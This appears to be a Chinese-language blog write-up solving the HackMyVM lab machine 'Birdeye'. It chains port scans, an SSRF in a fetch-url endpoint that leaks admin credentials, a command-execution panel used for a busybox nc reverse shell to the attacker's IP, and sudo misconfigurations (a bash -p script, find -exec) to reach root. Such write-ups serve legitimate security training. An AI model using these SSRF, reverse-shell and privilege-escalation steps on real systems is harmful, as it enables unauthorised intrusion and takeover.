<h1>Birdeye.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Birdeye">https://hackmyvm.eu/machines/machine.php?vm=Birdeye</a>
</blockquote>
<img src="/post-images/HackMyVMBirdeye/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-python">➜ Birdeye nmap -sT -min-rate 10000 -p- 192.168.56.127
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-17 19:45 CST
Nmap scan report for 192.168.56.127
Host is up (0.00027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
5000/tcp open upnp
MAC Address: 08:00:27:C2:DE:A0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.44 seconds
</code></pre>
<pre><code class="hljs language-python">➜ Birdeye nmap -sT -A -p 53,80,5000 192.168.56.127 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-17 20:02 CST
Nmap scan report for 192.168.56.127
Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.18 (Ubuntu Linux)
| dns-nsid: 
|_ bind.version: 9.11.3-1ubuntu1.18-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: client
|_http-cors: GET POST OPTIONS
5000/tcp open http Werkzeug httpd 2.0.3 (Python 3.6.9)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/2.0.3 Python/3.6.9
MAC Address: 08:00:27:C2:DE:A0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 192.168.56.127

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.38 seconds
</code></pre>
<h3>枚举</h3>
80 端口的搜索时发的包很奇怪
<img src="/post-images/HackMyVMBirdeye/image1.png" alt="image.png">
看着存在 <code>SSRF</code>
<img src="/post-images/HackMyVMBirdeye/image2.png" alt="image.png">
改成 kali 的 IP 试试
<img src="/post-images/HackMyVMBirdeye/image3.png" alt="image.png">
存在 <code>SSRF</code>
<img src="/post-images/HackMyVMBirdeye/image4.png" alt="image.png">
并且原本后面的 URL 是：<code>http://localhost:5000/api/products/?search=""</code>
<h2>SSRF</h2>
利用 SSRF 漏洞进行枚举
首先枚举内网端口
<pre><code class="hljs language-python">➜ Birdeye ffuf -u 'http://192.168.56.127/api/fetch-url?url=http://127.0.0.1:FUZZ/' -w port -fc 500

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://192.168.56.127/api/fetch-url?url=http://127.0.0.1:FUZZ/
 :: Wordlist : FUZZ: /root/Desktop/HackMyVM/Birdeye/port
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response status: 500
________________________________________________

80 [Status: 200, Size: 288, Words: 38, Lines: 8, Duration: 106ms]
:: Progress: [10000/10000] :: Job [1/1] :: 357 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
</code></pre>
我们再根据原本<code>403</code> 的地址进行访问，例如：
<pre><code class="hljs language-python">403 GET 1l 5w 32c http://192.168.56.127/admin/config
401 GET 1l 1w 25c http://192.168.56.127/admin/dashboard
</code></pre>
成功包含到账户密码，并且告诉我们 <code>/api/fetch-url</code> 支持 <code>GET, POST, OPTIONS</code> 三种方法
<pre><code class="hljs language-python">➜ Birdeye curl -i 'http://192.168.56.127/api/fetch-url?url=http://127.0.0.1/admin/config'
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 13:32:01 GMT
Server: Werkzeug/2.0.3 Python/3.6.9
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
Content-Type: application/json
Content-Length: 106
Access-Control-Allow-Origin: *, *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type

{"admin_password":"SuperSecret123!","admin_user":"superadmin","login_panel_path":"/admin/panelloginpage"}
</code></pre>
根据获取到内容访问后访问后台地址
<img src="/post-images/HackMyVMBirdeye/image5.png" alt="image.png">
我们有必要发送 POST 数据（这里看了下 WP，没想到是这样更换方法），所以接上 <code>curl -i 'http://192.168.56.127/api/fetch-url?url=http://localhost/admin/panelloginpage&#x26;method=POST'</code>
<pre><code class="hljs language-python">➜ Birdeye curl -i 'http://192.168.56.127/api/fetch-url?url=http://localhost/admin/panelloginpage&#x26;method=POST' -H 'Content-Type: application/x-www-form-urlencoded' -d 'admin_user=superadmin&#x26;admin_password=SuperSecret123!'
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 13:35:48 GMT
Server: Werkzeug/2.0.3 Python/3.6.9
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
Content-Type: text/html; charset=utf-8
Content-Length: 145
Access-Control-Allow-Origin: *, *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
Vary: Cookie,Accept-Encoding
Set-Cookie: session=eyJhZG1pbl9hdXRoZW50aWNhdGVkIjp0cnVlfQ.aPJGNA.-3-eVxjfstKta_I4ubREsK2pnAg; Domain=192.168.1.237; Path=/

 &#x3C;h2>Admin Dashboard&#x3C;/h2>
 &#x3C;form method="post">
 &#x3C;label>Command: &#x3C;input name="command" type="text">&#x3C;/label>
 &#x3C;button type="s# 
</code></pre>
这样就拿到了 <code>Cookie</code> ，我们存储在 <code>http://192.168.56.127/admin/dashboard</code> 中
<img src="/post-images/HackMyVMBirdeye/image6.png" alt="image.png">
看样子是个命令执行的功能
<img src="/post-images/HackMyVMBirdeye/image7.png" alt="image.png">
进行反弹 <code>shell</code>
<pre><code class="hljs language-python">command=busybox nc 192.168.56.5 1234 -e /bin/bash
</code></pre>
<h2>提权 - sev</h2>
查看 sudo 权限
<pre><code class="hljs language-python">www-data@birdeye:~/birdeye$ sudo -l
Matching Defaults entries for www-data on birdeye:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on birdeye:
 (sev) NOPASSWD: /home/sev/backup_app.sh
</code></pre>
查看内容，直接给了
<pre><code class="hljs language-python">www-data@birdeye:~/birdeye$ cat /home/sev/backup_app.sh
#!/bin/bash
/bin/bash -p
</code></pre>
切换到 sev
<pre><code class="hljs language-python">www-data@birdeye:~/birdeye$ sudo -u sev /home/sev/backup_app.sh 
sev@birdeye:~/birdeye$ 
</code></pre>
<h2>提权 - root</h2>
<pre><code class="hljs language-python">sev@birdeye:~/birdeye$ sudo -l
Matching Defaults entries for sev on birdeye:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sev may run the following commands on birdeye:
 (ALL) NOPASSWD: /usr/bin/find
</code></pre>
结束了
<pre><code class="hljs language-python">sev@birdeye:~/birdeye$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root
</code></pre>
<h2>总结</h2>
？

Birdeye. https://hackmyvm.eu/machines/machine.php?vm=Birdeye Recon PortScan 枚举 80 端口的搜索时发的包很奇怪 看着存在 SSRF 改成 kali 的 IP 试试 存在 SSRF 并且原本后面的 URL 是：http://...

HackMyVM - Birdeye

HackTheBox - Season9 - Signed